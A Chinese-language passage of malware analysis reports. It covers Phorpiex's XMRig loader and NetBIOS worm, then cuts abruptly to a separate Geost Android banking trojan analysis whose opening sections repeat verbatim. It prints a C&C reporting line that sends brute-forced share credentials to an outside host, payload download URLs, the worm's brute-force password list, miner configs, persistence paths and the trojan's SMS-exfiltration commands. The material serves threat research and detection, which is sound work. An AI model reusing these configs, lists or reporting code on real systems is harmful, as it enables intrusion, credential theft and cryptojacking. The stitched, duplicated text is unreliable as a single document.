这样一来,我们就需要了解该模块中XMR钱包地址的用途。我们检查了所有可能会使用到的地方,发现该位置已经使用用户ID(相当于计算机GUID)进行了重写,然后进行了配置:

9.png

网络通信

XMRig Loader检查C&C服务器上是否包含任何新的指令,并执行找到的指令。通信过程总共执行两次,在挖矿注入前和挖矿注入后。这里使用没有加密过的纯HTTP协议。

我们在相应的字段中找到了这些特定值:

Accept字段:text/*, application/exe, application/zlib, application/gzip, application/applefile

User-Agent字段:WinInetGet/0.1

支持的命令

我们可以在出售Loader的网站(xmrminer[.]net)上找到受支持的命令的描述。需要注意的是,访问该网站可能不安全。

下面使用从C&C服务器发送命令时的格式,列出了这些命令,其中保留了原始注释:

[Miner]
address=YOUR_XMR_ADDRES ; XMR address, email (minergate), btc address (nicehash), etc.
poolport=pool.minexmr.com:4444 ; Do not include 'stratum+tcp://' e.g monerohash.com:3333
password=x ; Pool password
stop=0 ; Change this value to "1" to stop miner. If not specified or equal to "0" miner will work.
proxy=0 ; Change this value to "1" if you are mining to xmrig-proxy instead of pool. This enables using a unqiue address per worker for better miner monitoring.
keepalive=0 ; 0 to disable keepalive, 1 to enable keepalive
 
[Update]
;config_url=http://xmrminer.net/config.txt ; You can update the url that points to the configuration file. Must begin with "http://" or "https://"
knock_time=30 ; Number of minutes the miner waits between visits to config file. If never specified, default is 30 minutes.
;update_url=http://mysite.com/new_miner ; url of new miner. Miner will get updated with this file.
;update_hash=xxxxxxxxxx ; md5 hash of new miner file. 32 characters long (16 byte hexadecimal format for hash). You need to specify this value, othewise miner will not get updated!
 
;End of configuration. Do not remove this line, ";End" string specifies end of configuration file.
 
;Everything after a ";" character is a comment, so it is ignored by the miner when parsing the configuration. Only the ";" character is used for this purpose.
;Always include the appropriate options below the defined "[Miner]" and "[Update]" sections. If you do not include the section names it won't work.
;Make sure everything is spelled correctly
;If you specify "config_url" double check it is correctly spelled, otherwise the miner that reads an incorrect url will never go back to a correct url (i.e. last configuration will be locked).

服务器可以从任何子部分([Miner]或[Update])发送命令,并且可以以独立或组合的方式发送命令。

我们在下面列出了观察到的命令的样本。

1、挖矿工具更新

图10-从C&C服务器获取更新

操作摘要:检索并下载新挖矿工具的URL。

2、挖矿工具停止

从服务器收到“Stop miner”命令:

11.png

图11-从服务器接收到“停止矿工”命令。

这也是非常容易理解的。需要注意的是,服务器可能会请求其他文件名。

我们遇到过的文件名称包括:

· c.txt

· upd.txt

· newup.txt

· update.txt

· xmrupdate.txt

Phorpiex NetBIOS蠕虫模块

该模块代表一种自我传播的蠕虫,还包括用于下载其他Payload的功能。

NetBIOS蠕虫会扫描随机IP地址,以查找开放的TCP/139端口(NetBIOS),并使哟功能用户名和密码的硬编码列表进行暴力破解。攻击本身是无限循环进行的。使用rand()函数随机生成用于扫描的IP地址,并将GetTickCount()的结果作为随机种子。IP地址的唯一过滤规则是不能以127、172或192开头。将会创建一个单独的线程与每个IP地址进行通信。大家也许会发现,这里的扫描功能与Phorpiex VNC蠕虫模块中的扫描功能非常类似。

NetBIOS蠕虫通过创建具有硬编码名称的互斥锁(不同样本中所使用的名称各不相同)来防止在多个实例中多次执行。如果互斥锁已经存在,则会停止执行。

如果是由Phorpiex Tldr加载的,则会使用伪随机名称保存该模块。在自我传播阶段,恶意软件会使用“WindowsDefender.exe”名称上传其自身。在这种情况下,NetBIOS蠕虫必须下载Phorpiex主模块或其他Payload。因此,恶意软件必须通过GetModuleFilename()获取其文嘉铭。如果名称为“WindowsDefender.exe”,则它将尝试从硬编码的URL下载并执行文件。

通过NetBIOS蠕虫下载Payload:

12.png

我们在不同的样本中,观察到以下URL:

· hxxp://92.63.197.153/NB.exe

· hxxp://92.63.197.153/nb.exe

· hxxp://193.32.161.77/CRAZYBLAYNE.exe

· hxxp://92.63.197.153/enum.exe

· hxxp://193.32.161.77/enum.exe

· hxxp://193.32.161.77/aldenta.exe

最后,将进行无限循环的网络扫描。对于每个随机生成的IP地址,NetBIOS模块都会启动一个线程,首先在该线程中检查TCP/139端口是否在目标主机上进行侦听。成功连接后,NetBIOS蠕虫会尝试通过调用NetShareEnum() API函数来枚举网络共享。它只会选择当前与资源建立连接的共享。

选择网络共享进行暴力破解攻击:

13.png

Phorpiex NetBIOS蠕虫会尝试使用用户名和密码的硬编码列表连接到网络共享。

用于暴力破解攻击的凭据:

14.png

密码列表中通常包括非常简单的值,例如“123”、“admin”、“Administrator123”等。

暴力破解过程中,会尝试4个用户名:

· Administrator

· administrator

· Admin

· admin

在成功连接到网络资源后,恶意软件会尝试将其自身复制到以下位置:

· WindowsDefender.exe

· WINDOWS\All Users\StartMenu\Programs\Startup\WindowsDefender.exe

· WINDOWS\StartMenu\Programs\Startup\WindowsDefender.exe

· WINNT\Profiles\All Users\StartMenu\Programs\Startup\WindowsDefender.exe

· ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\WindowsDefender.exe

· Users\All Users\Microsoft\Windows\Start Menu\Programs\WindowsDefender.exe

· Documents and Settings\All Users\StartMenu\Programs\Startup\WindowsDefender.exe

当目标路径指向启动文件夹时,恶意软件将有能力创建其自身在目标系统中的持久性。

最后一步是在目标主机上调用上传样本的执行,共有两种执行方式:

1、在远程主机上创建新的服务器。恶意软件使用名称“NetBIOS Windows Defender”创建服务,显示的名称为“NetBIOSWindowsDefender”,创建的服务类型为SERVICE_WIN32_SHARE_PROCESS,以SERVICE_AUTO_START作为启动类型。

2、在远程主机上创建计划任务。新任务的预定时间为当前时间+120秒。为此,恶意软件通过调用NetRemoteTOD() API函数来获取远程时间,并针对特定的时区进行更正。

上述操作是针对每个网络路径来执行的。

在进行每次成功操作之后,都会使用下列格式的HTTP请求向C&C服务器报告:

snwprintf(url, L"hxxp://92.63.197.153/e.php?srv=%ls|%ls|%ls|%ls", NetLocation, UserName, Password, Message);

在HTTP请求中所使用的用户代理是:

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0

该恶意软件可以发送以下消息:

1、消息:CONNECTED!

描述:成功连接所选的用户名和密码

示例:hxxp://92.63.197.153/e.php?srv=?\\1.1.1.1\C$|Administrator|123|CONNECTED!

2、消息:COPIEDFILE

描述:恶意软件Payload已上传

示例:hxxp://92.63.197.153/e.php?srv=\\1.1.1.1\C$\ProgramData\Microsoft\Windows\Start%20Menu\Programs\StartUp\WindowsDefender.exe|Administrator|123|COPIEDFILE

3、消息:CreateServiceW

描述:服务已创建

示例:hxxp://92.63.197.153/e.php?srv=\\1.1.1.1\C$\ProgramData\Microsoft\Windows\Start%20Menu\Programs\StartUp\WindowsDefender.exe|Administrator|123|CreateServiceW

4、消息:NetScheduleJobAdd

描述:任务已创建

示例:hxxp://92.63.197.153/e.php?srv=\\1.1.1.1\C$\ProgramData\Microsoft\Windows\Start%20Menu\Programs\StartUp\WindowsDefender.exe|Administrator|123|NetScheduleJobAdd

我们还在其他样本中观察到了下面的这些消息:

1、消息:COPiED

描述:恶意Payload已上传

2、消息:SVC-NEWWW

描述:恶意服务已创建

3、消息:SVC-NEW

描述:恶意服务已创建

4、消息:SVC-EXEC

描述:恶意服务已启动

5、消息:Sched-EXEC-NEW

描述:恶意任务已创建

6、消息:Sched-EXEC-OLD

描述:恶意任务已创建

我们在各种样本中,观察到以下的报告URL:

· hxxp://193.32.161.77/nb.php?srv=

· hxxp://193.32.161.77/exec.php?srv=

· hxxp://193.32.161.77/nn.php?srv=

· hxxp://193.32.161.77/gud.php?srv=

· hxxp://193.32.161.77/go.php?srv=

· hxxp://193.32.161.77/netb.php?srv=

· hxxp://193.32.161.77/ok.php?srv=

· hxxp://92.63.197.153/e.php?srv=

· hxxp://92.63.197.153/huh.php?srv=

· hxxp://92.63.197.153/nb.php?srv=

· hxxp://92.63.197.153/tst.php?srv=

· hxxp://92.63.197.153/ya.php?nb=

辅助模块

如我们所见,Phorpiex的通用性非常强。似乎主模块在接收到“命令”队列后,每个命令都是一个单独的可执行模块。与我们先前描述的相反,我们还观察到功能非常有限的微型模块的许多不同变体。其中有一些,甚至无法被判断为恶意。

Phorpiex加载的这类小型可执行文件其中的一个示例是清理模块。它包含两个函数,其唯一目的是终止具有特定硬编码名称的进程,并删除多个注册表自动运行条目。

清理模块终止的进程列表包括:

· winsrvc32.exe

· winupsvcmgr.exe

· winsvcinstl.exe

· winupd32svc.exe

· wincfg32svc.exe

· windrv.exe

· wincfgrmgr32.exe

· winmgr.exe

· wincfg.exe

· wincfg32.exe

· winupd.exe

· winupd32.exe

· winsvcin32.exe

· winupd32cfg.exe

· winmgr32cfg.exe

· csrssc.exe

· csrsscxn.exe

· winsecmgr.exe

· winsecmgrv.exe

· windrvmgr32.exe

清理模块还从注册表项“HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”中删除以下值:

· WinCfgMgr

· Windows Update Service Manager

· Microsoft Windows Update Services

· Microsoft Update 495036

· Microsoft Windows Service Installer

· Microsoft Windows Driver Configuration

· Microsoft Windows Installer Svc

· Windows Security Manager

该模块禁用过时的Phorpiex模块,例如Phorpiex Trik。不同的Phorpiex模块使用特定的进程名称作为在被感染系统内部的伪装(例如:cfgmgr.exe、windrv32.exe等)。举例来说,Phorpiex Trik v2.8版本使用进程名称“winmgr.exe”。

Phorpiex Trik v2.8使用的文件名:

16.png

辅助模块的另一种类型是根据地理位置定位的Loader。它使用服务api.wipmania.com来确定受感染计算机的位置。如果返回的代码在白名单内,则恶意软件会从硬编码的URL下载Payload:

17.png

在2019年初,我们看到了针对中国和越南的Loader,并根据具体的位置,将GandCrab勒索软件的不同变种加载到受感染的计算机上。

在GandCrab的开发人员“退休”后,Phorpiex开始在针对特定地理位置的恶意活动中投放Raccoon Stealer。其目标包括印度、印度尼西亚、墨西哥、秘鲁、孟加拉国、巴基斯坦、伊朗、厄瓜多尔和巴西。

总结

Phorpiex是一个非常特殊的恶意软件家族,其功能包括具有粒度功能的微模块。与具有多种不同功能的一体化恶意软件不同,这里有一个类似于构造函数的恶意软件,每个功能模块都承担着特定的任务,例如发送垃圾邮件的模块、用于感染的蠕虫模块等等。如果需要新的功能,那么就引入新模块,而无需重建或重新配置现有的模块。这样的方法不易出错、耗时较少,可以为恶意软件开发人员节省大量精力。

这一恶意软件的风险非常值得关注。迄今为止,Porpiex已经感染了超过100万台计算机,并为其作者带来了可观的利润。我们需要知道,目前我们所能看到的与实际情况相比,估计只是冰山的一角。目前,Phorpiex家族中已经有Raccoon Stealer和Predator The Thief脱颖而出,预计后续还有更多的方法可以实现其恶意活动。

Phorpiex清晰展示了恶意软件家族如何通过不断发展而逐步成为流行。在其发展过程中,完全没有用到复杂的技巧,包括反调试技术、模糊处理等等。

威胁指标

XMRig Slient Loader

MD5:b059cd4b912edd6ca6aad3334e42dbae

矿池:92.63.197.153:9090

更新URL:http://92.63.197.153/c.txt

MD5:36e824615d72d11a3f962ec025bfceba

矿池:185.176.27.132:4545

更新URL:http://185.176.27.132/update.txt

MD5:7f8880c0bc2dd024a3cf5261b6582313

矿池:92.63.197.153:7575

更新URL:http://92.63.197.153/update.txt

MD5:a8ab5aca96d260e649026e7fc05837bf

矿池:193.32.161.69:5555

更新URL:http://193.32.161.69/upd.txt

MD5:d894eb9194a5cb428520914f5521f178

矿池:193.32.161.73:7777

更新URL:http://193.32.161.73/update.txt

MD5:e9c27bbfbf386c55d0672c8a580c13ef

矿池:193.32.161.77:9595

更新URL:http://193.32.161.77/xmrupdate.txt

MD5:b5f1ba1cbf0e402b9a412edce8c6ca28

矿池:92.63.197.60:9090

更新URL:http://92.63.197.60/newup.txt

互斥量名称

0fe420b0eb8396a48280

3f3ff4de39fc87f8152a

4b293105d7b102179b20

5d6eb4d965fd09330511

a6c92143cac02de51d4a

bf73f1604fc0b6b3d70d

ff9702c705fd434610c0

在各种样本中发现的常量字符串:

0125789244697858

f23e1993dfdXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

objFile.Write “[InternetShortcut]” & vbCrLf & “URL=””file:///

Phorpiex NetBIOS蠕虫模块

79a9b27bebf2d5dc61b44e51a576e585   hxxp://osheoufhusheoghuesd[.]ru/3.exe

4ca68f9575c366e4156429aa51edec98     hxxp://osheoufhusheoghuesd[.]ru/2.exe

b405cb01f9664b35e351c85ae368a662    hxxp://osheoufhusheoghuesd[.]ru/5.exe

00a30dd47d891979d19743279d9632c7   hxxp://osheoufhusheoghuesd[.]ru/5.exe

7f2906a696b27f63859d9250876908f6     hxxp://osheoufhusheoghuesd[.]ru/3.exe

URL

hxxp://92.63.197.153/NB.exe

hxxp://92.63.197.153/nb.exe

hxxp://193.32.161.77/CRAZYBLAYNE.exe

hxxp://92.63.197.153/enum.exe

hxxp://193.32.161.77/enum.exe

hxxp://193.32.161.77/aldenta.exe

在不同示例中观察到的NetBIOS蠕虫模块暴力破解攻击所使用的密码列表:

Administrator

administrator

Admin

admin

Admin123

admin123

Admin12345

admni12345

password

Password

PASSWORD

password123

passwd

pass

pass123

123

1234

12345

123456

1234567

12345678

123123

654321

54321

4321

321

server

Server

srv

user

User

USER

user123

testuser

test

test1

testtest

test123

testing

qwerty

1q2w3e

abc

abcde

abcabc

asd

asdf

abc123

computer

internet

secure

changme

boss

desktop

desk

temp

windows

public

master

lan

lan123

LAN

net

network

demo

setup

backup

letmein

sysadmin

mysql

monitor

operator

monkey

money

辅助模块

39db80011f66bd6a67b717e6e4f875ba    清理模块

88fa70f752612c03b6cb9718a1248778     清理模块

b943cb767c772ebb6f0c7c80ff98cc3e       清理模块

9c6fc641121324152ed4e1958fd09a65     清理模块

cf904ade613134cbf505050fbfd1b7fa       VNC蠕虫模块

250d6ceed2c29a281a4a135b7234056a    地理位置定位Loader(GandCrab)

f44b6e0aed5ba70ea123ede5942ffaae      地理位置定位Loader(Raccoon)

db931ca9471c69d11df0f70089cb96f4      地理位置定位Loader(Raccoon)

5b12844df9f807fdd3020266f211168e      地理位置定位Loader(Raccoon)

1d053f476509e9100b1f98fef9de7cc7      地理位置定位Loader(Raccoon)

URL

http://92.63.197.153/KrabGEO.exe

http://92.63.197.153/KrabLang.exe

http://193.32.161.77/stl.exe

http://185.176.27.132/inf/n.exe

http://185.176.27.132/p.exe

Check Point Anti-Bot blade可以抵御以下威胁:

Worm.Win32.Phorpiex.C

Worm.Win32.Phorpiex.D

Worm.Win32.Phorpiex.H

概述

Android银行木马Geost是由Stratosphere实验室的Sebastian García、Maria Jose Erquiaga和Anna Shirokova首次发现。最早,他们通过监视HtBot恶意代理网络来检测到该木马。该僵尸网络以俄罗斯银行为目标,在去年发布关于该僵尸网络的研究时,受害者人数已经超过80万。

我们的研究成果揭示了Geost(Trend Micro检测为AndroidOS_Fobus.AXM)从受害者那里窃取的信息类型,并分析了僵尸网络背后恶意组织的活动,包括其运营策略以及威胁参与者与僵尸网络编码人员之间的内部通信。

基于这一有趣的发现,我们决定对恶意软件样本进行逆向工程,以更加深入地了解Geost的行为。该木马使用了混淆、加密、反射和注入非功能代码段的多种方式,使得逆向工程更加困难。为了研究代码并分析其使用的算法,我们必须首先编写Python脚本来解密字符串。

初步分析

攻击者将Geost隐藏在恶意应用程序中,并通过随机生成服务器主机名的非官方网站实现分发。如果受害者在寻找Google Play上不可用的应用程序,或者受害者无法访问应用商店时,往往就会直接到网上去搜索特定的应用。随后,受害者可能会在一些不知名的Web服务器上找到该应用程序的链接,下载应用程序并在手机上运行。随后,应用程序将向用户请求授予权限,如果受害者允许授权,则会感染恶意软件。

我们所分析的Geost样本位于一个名为“установка”(俄语)的恶意应用程序中,其名称翻译过来是“设置”。该应用程序使用了Google Play的图标,并且该图标在运行后不会出现在手机屏幕上。

恶意应用程序“установка”使用的图标:

1.png

启动应用程序时,该恶意应用请求授予设备的管理员特权。这类特权的请求是非常少见的,因为合法的应用程序通常不会要求如此之高的权限,它基本上为应用程序提供了对设备的完整权限。

用户可能在不知不觉中同意的重要权限包括“访问短信息”,这样一来,恶意应用就可以获取来自银行应用程序的确认信息。而根据这些消息,恶意软件可以收集受害者的姓名、余额和其他银行账户相关的详细信息。只需要单击几下,攻击者就可以在不知情的情况下从受害者的银行账户中转走资金。

请求设备管理员权限的截图:

2.png

请求的应用程序权限:

3.png

在确认获取到必要的权限之后,应用程序将不再可见,并且应用程序的图标将会消失,从而让受害者误认为该应用程序已经被删除。在我们分析样本所使用的设备上,起初没有显示出任何恶意活动迹象,但该恶意软件持续在后台运行,攻击者已经获得了对设备的访问权限,从而使他们可以监视已发送和已接收的消息,包括来自银行应用程序的短信确认消息。

为了保证重启设备后仍然具有持久性,恶意软件注册了BOOT_COMPLETED和QUICKBOOT_POWERON广播。

注册服务启动广播(部分代码经过混淆):

4.png

第一阶段

Geost的运行时生命周期被分为多个阶段。其中,第一阶段较为精简,随后将下载、解密并运行第二阶段,而第二阶段则更为复杂。

在Geost样本的APK中,classes.dex文件包含已编译的Java代码。APK中还包括AndroidManifest.xml和资源文件,它们是APK文件中的常规内容。除上述之外,还有一个大小为125K的“.cache”文件。

为了对提取的classes.dex文件进行反编译,我们使用了几个Java反编译器,包括dex2jar、jadx、jd-core/jd-gui和Ghidra,因为没有一个单独的反编译器能够反编译所有Smali代码。

反编译的Java源代码:

5.png

乍一看,反编译的代码似乎部分编码为一系列字符串,但根据字符使用的频率进行分析,我们发现这些字符是随机使用的。

进一步的分析表明,该恶意软件包含其他代码段,除了用于减慢其执行速度意外,这些代码段对应用程序的行为没有任何影响。由于恶意软件将有用的代码分割为多个部分,并频繁更改执行路径,因此使得我们的逆向工程更加困难。执行过程中会走到哪个分支,通常要取决于具有未知值的某个变量,而“switch”、“if”和“try/catch”命令块也同样如此。通过对有实际意义代码的功能进行分析,我们可以更为全面地了解恶意软件的行为。

带有case条件的代码段:

6.png

我们不断删除非功能代码段,从而确定了恶意软件使用的第一个解密算法。第一阶段中的所有字符串都使用RC4进行加密,并使用了一个算法,该算法被拆分为多个函数,以避免被人发现其使用了RC4算法。在得到这一信息之后,下一步就是要找到用于RC4解密的密钥。

反编译的Java源代码,作为RC4算法中的一部分:

7.png

清理后的RC4算法代码片段:

8.png

RC4密钥:

9.png

RC4是一种流密码,其内部状态随着每个解密的符号而变化。如果需要解密多个加密的字符串,通常必须要以与加密时相同的顺序来进行解密。幸运的是,我们所分析的样本并非如此。由于RC4加密算法始终复制状态数组S[],因此代码编写者简化了RC4算法,没有保留解密之间的内部状态。

RC4加密始终复制状态数组S[]:

10.png

之后,开始搜索通用代码库,找到了Android.support.v4库和ReflectASM Java Reflection库。

带有加密字符串的代码:

11.png

在解密以及符号去混淆后,包含字符串的代码:

12.png

至此,我们已经可以读懂第一阶段的代码:它使用反射代码隐藏了几个特定的类和方法。基本上,第一阶段使用相同的RC4算法和密钥解密第二阶段的文件。

反射方法调用示例:

13.png

前面提到的“.cache”文件被重命名为.localsinfotimestamp1494987116,并在解密后保存为ydxwlab.jar,从中加载并启动.dex文件。

解密并保存第二阶段:

14.png

代码作者在其中插入了一个错误的标志HttpURLConnection以及其URL,该URL似乎已经连接到命令和控制(C&C)服务器。但是,这个HTTP链接将永远不会执行。

错误标志:

15.png

第一阶段会从第二阶段的开始部分加载一个类,研究人员将其命名为“MaliciousClass”。

启动第二阶段:

16.png

第二阶段

通过查看classes.dex,我们可以看到在第二阶段中再次使用了混淆和加密的方法。但是这一次,符号名称部分被替换为长度为1-2个字符的字符串,而不再是之前使用的6-12个字符。此外,还修改了字符串加密算法,使之与上一阶段使用的算法不同。这里还使用了不同的工具。此外,针对每个类别,分别修改了解密算法的参数。

由于goto命令会跳入if块,因此所有Java反编译器在反编译解密算法时都会出现问题,只有Jeb反编译器可以很好地处理这一结构。

解密算法的Smali代码:

17.png

Java解密算法代码:

18.png

每个类的解密方法都包含不同的参数顺序和不同的常量,这使得编写Python解密脚本变得更加困难。这意味着,解密脚本必须从Smali代码中检测算法设置并进行自我调整,或者必须在解密每个类之前手动在脚本中设置参数。

加密字符串的示例:

19.png

字符串解密后,就可以检测到所使用的库,其中包括:

· AES加密引擎

· Base64编码

· 模拟环境检测器

· 文件下载服务

· IExtendedNetworkService

· USSD API库

· Zip4jUtil

初始化阶段

从第一阶段开始调用的MaliciousClass将作为实例化类的信封,研究人员将其命名为“Context”。

Context类:

20.png

Context类首先启动EmulatorDetector服务,随后启动AdminService和LPService这两个服务,然后启动主应用程序Intent。

主初始化例程:

21.png

模拟环境检测器

模拟环境检测器会检测恶意软件是否正在模拟环境中运行。该样本可以检测到Nox、Andy、Geny、Bluestacks和Qemu Android模拟器的存在。

追踪模拟环境:

22.png

AdminService

该服务负责向应用程序授予管理员权限。这是最关键的部分,因为它可以访问敏感数据并启用特权操作。

AdminService的关键部分:

23.png

LPService

该服务负责保持应用程序运行,并连接到C&C服务器。它使用WakeLock和WifiLock acquire()调用来实现。这样做的副作用是电池耗电量明显增大,但大多数受害者通常都会忽略这一点。

锁定CPU和WiFI资源:

24.png

LPService随后创建LPServiceRunnable线程,该线程每隔5秒钟唤醒一次,并监视和重新启动以下服务:

· MainService

· AdminService

· SmsKitkatService

该服务还收集有关正在运行的进程和任务的信息。它还会定期启动WebViewActivity,后者可以打开浏览器窗口以访问任意URL或启动恶意代码。在该示例中未实现WebViewActivity代码。

MainService

MainService首先挂钩到AlarmManager以设置时间计划任务,随后注册两个广播接收器MainServiceReceiver1和MainServiceReceiver2。在初始化阶段结束后,它将启动MainServiceRunnable线程。当样本执行重载的onDestroy()方法时,它将再次重新启动MainService。

重载onDestroy以重新启动MainService:

25.png

MainService中包含的一个重要方法是processApiResponse(),该方法负责处理从C&C服务器接收的命令字符串,该命令使用JSON格式。

处理C&C服务器的命令:

26.png

ClearService

该服务调用ClearServiceRunnable线程,这一线程负责锁定/解锁命令,以阻止或取消阻止用户活动,因此僵尸网络运营者可以在无需用户操作的前提下远程执行任务。如果尝试终止ClearService,它还会重新启动其自身。

ClearService类:

27.png

ClearServiceRunnable:

28.png

SmsKitkatService

该服务旨在用攻击者编写的另一种应用程序替换标准的短信息应用程序。在我们所分析的样本中,它使用默认的短消息应用程序,未进行替换。

用于替换默认短信息应用程序的代码:

29.png

命令

我们可以在下面的表和屏幕截图中看到该恶意软件可以识别的命令列表(按照代码中定义的顺序排列):

#conversations

从content://sms/conversations/、content://sms/inbox和content://sms/sent位置收集所有短信息的地址、正文、日期和类型,并将其发送到C&C服务器。

#contacts     

从content://com.android.contacts/data/phones收集所有联系人的列表,并将其发送到C&C服务器。

#calls    

从content://call_log/calls收集所有通话记录,并将其发送到C&C服务器。

#apps   

收集已安装软件包名称和标签的列表,并将其发送到C&C服务器。

#bhist   

该样本中将忽略此命令。

#interval {set:number}  

设置获取C&C服务器命令的时间段。

#intercept    

设置拦截短信的电话号码(全部“all”或号码列表)。

#send id:, to:, body:    

发送短信。

#ussd {to:address, tel:number}  

使用USSD框架拨打电话。

#send_contacts   

发送短信给电话簿中的所有联系人。

#server  

设置计划运行时间。

#check_apps {path:uri_to_server}      

将正在运行的应用程序列表发送到C&C服务器,从参数中定义为error.zip的路径下载archive.zip文件,然后将其解压缩。Zip压缩文件的密码为“encryptedz1p”。默认服务器名称为hxxp://fwg23tt23qwef.ru/。

#send_mass {messages: {to:address, body:text}, delay:ms}    

将多个短信息发送到不同的地址,两次发送之间会有延迟。

#lock    

从ClearServiceRunnable启用RLA服务,该服务将拦截按键的AKEYCODE_HOME、AKEYCODE_CAMERA和AKEYCODE_FOCUS事件。它还会拦截onBackPressed()活动方法,使铃声变为静音,清除所有短信息通知,自行停止并导致手机无响应。

#unlock  

禁用#lock命令的操作,并通过停止ClearServiceRunnable的方式来解锁手机。

#makecall {number:tel_number}       

使用标准的android.intent.action.CALL API来拨打电话。

#openurl {filesDir=j:url}      

打开网页URL。

#hooksms {number:tel_number}      

挂钩到一个特定的号码,将所有收到的短信息转发到参数中的号码上。

#selfdelete   

将任务时间设置为无法解析的字符串值,这将停止其自行调度的任务。

命令列表

C&C服务器命令列表:

30.png

ApiRequest、ApiResponse和ApiInterfaceImpl

ApiRequest、ApiResponse和ApiInterfaceImpl类负责启用与C&C服务器的通信。在连接参数初始化中,默认情况下replaceWithRandomStr变量的值设置为true,并且在代码内未进行更改。

构建C&C服务器连接字符串:

31.png

连接参数初始化:

32.png

在这里,使用了一种算法来为C&C服务器URL生成随机字符串。随后,初始化API连接,并设置为C&C服务器的主机名。

为C&C服务器URL构建随机字符串:

33.png

API连接初始化:

34.png

设置C&C服务器主机名:

35.png

下面展示了在执行C&C服务器命令“#contacts”时的API用法。最后,命令的参数以JSON格式附加,并转换为字符串。

C&C服务器API调用示例:

36.png

最佳实践与解决方案

Trend Micro在2020年安全预测中,预测了针对在线银行和支付系统的移动恶意软件家族(例如Geost)的持续增长。移动用户在目前日益危险的整体环境中,应该遵循最佳实践以保护自己的移动设备安全。其中最关键的一大注意事项,就是应避免从官方应用商店以外的地方下载应用程序。

但遗憾的是,威胁参与者也逐渐找到了通过合法应用商店传播恶意应用程序的方法。这些应用商店应加强稽查力度,下架受感染的应用程序,作为用户也应该在下载前仔细检查应用程序的评论和其他信息,以避免下载恶意应用。

应用程序的用户在点击允许之前,应该仔细检查已安装应用程序所请求的权限。在安装后,用户应当留意设备发生的变化,例如性能降低或电池寿命降低,这些都可能是感染恶意软件的特征。一旦发生上述情况,用户应该立即删除新安装的应用程序。此外,用户还应该定期进行检查,以删除无实际需要的应用程序。

为了进一步防范移动威胁,用户可以安装多层移动安全解决方案,以保护设备免受恶意应用程序和其他移动威胁的侵害。

威胁指标

SHA-256:92394e82d9cf5de5cb9c7ac072e774496bd1c7e2944683837d30b188804c1810

检测名称:AndroidOS_Fobus.AXM

概述

Android银行木马Geost是由Stratosphere实验室的Sebastian García、Maria Jose Erquiaga和Anna Shirokova首次发现。最早,他们通过监视HtBot恶意代理网络来检测到该木马。该僵尸网络以俄罗斯银行为目标,在去年发布关于该僵尸网络的研究时,受害者人数已经超过80万。

我们的研究成果揭示了Geost(Trend Micro检测为AndroidOS_Fobus.AXM)从受害者那里窃取的信息类型,并分析了僵尸网络背后恶意组织的活动,包括其运营策略以及威胁参与者与僵尸网络编码人员之间的内部通信。

基于这一有趣的发现,我们决定对恶意软件样本进行逆向工程,以更加深入地了解Geost的行为。该木马使用了混淆、加密、反射和注入非功能代码段的多种方式,使得逆向工程更加困难。为了研究代码并分析其使用的算法,我们必须首先编写Python脚本来解密字符串。

初步分析

攻击者将Geost隐藏在恶意应用程序中,并通过随机生成服务器主机名的非官方网站实现分发。如果受害者在寻找Google Play上不可用的应用程序,或者受害者无法访问应用商店时,往往就会直接到网上去搜索特定的应用。随后,受害者可能会在一些不知名的Web服务器上找到该应用程序的链接,下载应用程序并在手机上运行。随后,应用程序将向用户请求授予权限,如果受害者允许授权,则会感染恶意软件。

我们所分析的Geost样本位于一个名为“установка”(俄语)的恶意应用程序中,其名称翻译过来是“设置”。该应用程序使用了Google Play的图标,并且该图标在运行后不会出现在手机屏幕上。

恶意应用程序“установка”使用的图标:

1.png

启动应用程序时,该恶意应用请求授予设备的管理员特权。这类特权的请求是非常少见的,因为合法的应用程序通常不会要求如此之高的权限,它基本上为应用程序提供了对设备的完整权限。

用户可能在不知不觉中同意的重要权限包括“访问短信息”,这样一来,恶意应用就可以获取来自银行应用程序的确认信息。而根据这些消息,恶意软件可以收集受害者的姓名、余额和其他银行账户相关的详细信息。只需要单击几下,攻击者就可以在不知情的情况下从受害者的银行账户中转走资金。

请求设备管理员权限的截图:

2.png

请求的应用程序权限:

3.png

在确认获取到必要的权限之后,应用程序将不再可见,并且应用程序的图标将会消失,从而让受害者误认为该应用程序已经被删除。在我们分析样本所使用的设备上,起初没有显示出任何恶意活动迹象,但该恶意软件持续在后台运行,攻击者已经获得了对设备的访问权限,从而使他们可以监视已发送和已接收的消息,包括来自银行应用程序的短信确认消息。

为了保证重启设备后仍然具有持久性,恶意软件注册了BOOT_COMPLETED和QUICKBOOT_POWERON广播。

注册服务启动广播(部分代码经过混淆):

4.png

第一阶段

Geost的运行时生命周期被分为多个阶段。其中,第一阶段较为精简,随后将下载、解密并运行第二阶段,而第二阶段则更为复杂。

在Geost样本的APK中,classes.dex文件包含已编译的Java代码。APK中还包括AndroidManifest.xml和资源文件,它们是APK文件中的常规内容。除上述之外,还有一个大小为125K的“.cache”文件。

为了对提取的classes.dex文件进行反编译,我们使用了几个Java反编译器,包括dex2jar、jadx、jd-core/jd-gui和Ghidra,因为没有一个单独的反编译器能够反编译所有Smali代码。

反编译的Java源代码:

5.png

乍一看,反编译的代码似乎部分编码为一系列字符串,但根据字符使用的频率进行分析,我们发现这些字符是随机使用的。

进一步的分析表明,该恶意软件包含其他代码段,除了用于减慢其执行速度意外,这些代码段对应用程序的行为没有任何影响。由于恶意软件将有用的代码分割为多个部分,并频繁更改执行路径,因此使得我们的逆向工程更加困难。执行过程中会走到哪个分支,通常要取决于具有未知值的某个变量,而“switch”、“if”和“try/catch”命令块也同样如此。通过对有实际意义代码的功能进行分析,我们可以更为全面地了解恶意软件的行为。

带有case条件的代码段:

6.png

我们不断删除非功能代码段,从而确定了恶意软件使用的第一个解密算法。第一阶段中的所有字符串都使用RC4进行加密,并使用了一个算法,该算法被拆分为多个函数,以避免被人发现其使用了RC4算法。在得到这一信息之后,下一步就是要找到用于RC4解密的密钥。

反编译的Java源代码,作为RC4算法中的一部分:

7.png

清理后的RC4算法代码片段:

8.png

RC4密钥:

9.png

RC4是一种流密码,其内部状态随着每个解密的符号而变化。如果需要解密多个加密的字符串,通常必须要以与加密时相同的顺序来进行解密。幸运的是,我们所分析的样本并非如此。由于RC4加密算法始终复制状态数组S[],因此代码编写者简化了RC4算法,没有保留解密之间的内部状态。

RC4加密始终复制状态数组S[]:

10.png

